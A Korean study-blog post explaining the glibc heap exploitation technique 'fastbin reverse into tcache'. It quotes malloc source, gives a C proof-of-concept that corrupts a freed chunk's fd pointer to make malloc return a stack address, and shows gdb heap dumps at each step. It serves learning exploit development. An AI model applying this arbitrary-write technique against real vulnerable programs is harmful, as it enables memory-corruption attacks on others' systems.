🧡 fastbin reverse into tcache :D
fastbin reverse into tcache는 다음 부분을 이용해 fastbin에 있는 free된 heap들을 tcache로 옮겨 AAW를 가능하게 해주는 기법이다.
#if USE_TCACHE
/*While we're here, if we see other chunks of the same size, stash the min the tcache.*/
size_t tc_idx = csize2tidx(nb);
if(tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/*While bin not empty and tcache not full, copy chunks.*/
while(tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim=*fb) != NULL)
{
if(SINGLE_THREAD_P)
*fb=tc_victim->fd;
else
{
REMOVE_FB(fb,pp,tc_victim);
if(__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb (p,bytes);
return p;
}
🧡 Test code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main() {
char *ptrs[14];
size_t i;
for(i=0; i<14; i++)
ptrs[i] = malloc(allocsize);
for(i=0; i<7; i++)
free(ptrs[i]);
char *victim = ptrs[7];
printf("victim: %p\n", victim);
free(victim);
for(int i=8; i<14; i++)
free(ptrs[i]);
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf("The stack address that we intend to target: %p\nIt's current value is %p\n", &stack_var[2], (char *)stack_var[2]);
*(size_t**)victim = &stack_var[0];
for(i=0; i<7; i++)
ptrs[i] = malloc(allocsize);
for(i=0; i<6; i++)
printf("%p: %p\n", &stack_var[i], (char *)stack_var[i]);
malloc(allocsize);
char *q = malloc(allocsize);
printf("q: %p\n", q);
}
🧡 Explaination
1. 총 14개의 heap을 할당하고, tcache_entry를 모두 채운다.
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x290 Used None None
0x555555559290 0x0 0x50 Freed 0x0 None
0x5555555592e0 0x0 0x50 Freed 0x5555555592a0 None
0x555555559330 0x0 0x50 Freed 0x5555555592f0 None
0x555555559380 0x0 0x50 Freed 0x555555559340 None
0x5555555593d0 0x0 0x50 Freed 0x555555559390 None
0x555555559420 0x0 0x50 Freed 0x5555555593e0 None
0x555555559470 0x0 0x50 Freed 0x555555559430 None
0x5555555594c0 0x0 0x50 Used None None
0x555555559510 0x0 0x50 Used None None
0x555555559560 0x0 0x50 Used None None
0x5555555595b0 0x0 0x50 Used None None
0x555555559600 0x0 0x50 Used None None
0x555555559650 0x0 0x50 Used None None
0x5555555596a0 0x0 0x50 Used None None
2. 7번째 heap을 free한다. 이 heap은 fastbin에 들어간다.
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x290 Used None None
0x555555559290 0x0 0x50 Freed 0x0 None
0x5555555592e0 0x0 0x50 Freed 0x5555555592a0 None
0x555555559330 0x0 0x50 Freed 0x5555555592f0 None
0x555555559380 0x0 0x50 Freed 0x555555559340 None
0x5555555593d0 0x0 0x50 Freed 0x555555559390 None
0x555555559420 0x0 0x50 Freed 0x5555555593e0 None
0x555555559470 0x0 0x50 Freed 0x555555559430 None
0x5555555594c0 0x0 0x50 Freed 0x0 None
0x555555559510 0x0 0x50 Used None None
0x555555559560 0x0 0x50 Used None None
0x5555555595b0 0x0 0x50 Used None None
0x555555559600 0x0 0x50 Used None None
0x555555559650 0x0 0x50 Used None None
0x5555555596a0 0x0 0x50 Used None None
0x5555555596f0 0x0 0x410 Used None None
3. fastbin을 가득 채우고 fastbin[0]->fd를 원하는 값으로 변조한다. 여기서는 stack_var이라는 전역변수를 두고 stack_var[2]의 주소를 넣어줬다.
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x290 Used None None
0x555555559290 0x0 0x50 Freed 0x0 None
0x5555555592e0 0x0 0x50 Freed 0x5555555592a0 None
0x555555559330 0x0 0x50 Freed 0x5555555592f0 None
0x555555559380 0x0 0x50 Freed 0x555555559340 None
0x5555555593d0 0x0 0x50 Freed 0x555555559390 None
0x555555559420 0x0 0x50 Freed 0x5555555593e0 None
0x555555559470 0x0 0x50 Freed 0x555555559430 None
0x5555555594c0 0x0 0x50 Freed 0x7fffffffdf00 None
0x555555559510 0x0 0x50 Freed 0x5555555594c0 None
0x555555559560 0x0 0x50 Freed 0x555555559510 None
0x5555555595b0 0x0 0x50 Freed 0x555555559560 None
0x555555559600 0x0 0x50 Freed 0x5555555595b0 None
0x555555559650 0x0 0x50 Freed 0x555555559600 None
0x5555555596a0 0x0 0x50 Freed 0x555555559650 None
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdf00 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdcdcdcdcdcd (invaild memory)
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559b00 (size : 0x20500)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x50) tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0
4. tcache_entry를 모두 비운다.
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x290 Used None None
0x555555559290 0x0 0x50 Used None None
0x5555555592e0 0x0 0x50 Used None None
0x555555559330 0x0 0x50 Used None None
0x555555559380 0x0 0x50 Used None None
0x5555555593d0 0x0 0x50 Used None None
0x555555559420 0x0 0x50 Used None None
0x555555559470 0x0 0x50 Used None None
0x5555555594c0 0x0 0x50 Freed 0x7fffffffdf00 None
0x555555559510 0x0 0x50 Freed 0x5555555594c0 None
0x555555559560 0x0 0x50 Freed 0x555555559510 None
0x5555555595b0 0x0 0x50 Freed 0x555555559560 None
0x555555559600 0x0 0x50 Freed 0x5555555595b0 None
0x555555559650 0x0 0x50 Freed 0x555555559600 None
0x5555555596a0 0x0 0x50 Freed 0x555555559650 None
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdf00 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdcdcdcdcdcd (invaild memory)
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559b00 (size : 0x20500)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
5. 똑같은 size의 heap을 1번 더 할당한다. 이때 fastbin에 있던 free된 heap들이 반대로 tcache에 정렬된 상태로 들어간다. 이제 다음에 할당되는 heap 영역은 tcache_entry를 참조하기 때문에 size 검사를 하지 않아 AAW가 가능해진다.
gdb-peda$ parseheap
addr prev size status fd bk
0x555555559000 0x0 0x290 Used None None
0x555555559290 0x0 0x50 Used None None
0x5555555592e0 0x0 0x50 Used None None
0x555555559330 0x0 0x50 Used None None
0x555555559380 0x0 0x50 Used None None
0x5555555593d0 0x0 0x50 Used None None
0x555555559420 0x0 0x50 Used None None
0x555555559470 0x0 0x50 Used None None
0x5555555594c0 0x0 0x50 Freed 0x555555559520 None
0x555555559510 0x0 0x50 Freed 0x555555559570 None
0x555555559560 0x0 0x50 Freed 0x5555555595c0 None
0x5555555595b0 0x0 0x50 Freed 0x555555559610 None
0x555555559600 0x0 0x50 Freed 0x555555559660 None
0x555555559650 0x0 0x50 Freed 0x0 None
0x5555555596a0 0x0 0x50 Used None None
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0xcdcdcdcdcdcdcdcd (invaild memory)
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559b00 (size : 0x20500)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x50) tcache_entry[3](7): 0x7fffffffdf10 --> 0x5555555594d0 --> 0x555555559520 --> 0x555555559570 --> 0x5555555595c0 --> 0x555555559610 --> 0x555555559660
6. result
└─# ./test
victim: 0x559520ecb4d0
The stack address that we intend to target: 0x7ffd33a1fc70
It's current value is 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc60: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc68: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc70: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc78: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc80: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc88: 0xcdcdcdcdcdcdcdcd
Exploit!
q: 0x7ffd33a1fc70
'공부용' 카테고리의 다른 글
[Heap] House of Botcake 정리 (0) | 2021.02.16 |
---|---|
[Heap] House of Einherjar 정리 (0) | 2021.02.15 |
[Heap] Poison NULL Byte Attack (0) | 2021.02.15 |
[Heap] House of Lore 정리 (0) | 2021.02.15 |
[Heap] House of Orange - FSOP in heap (0) | 2021.02.15 |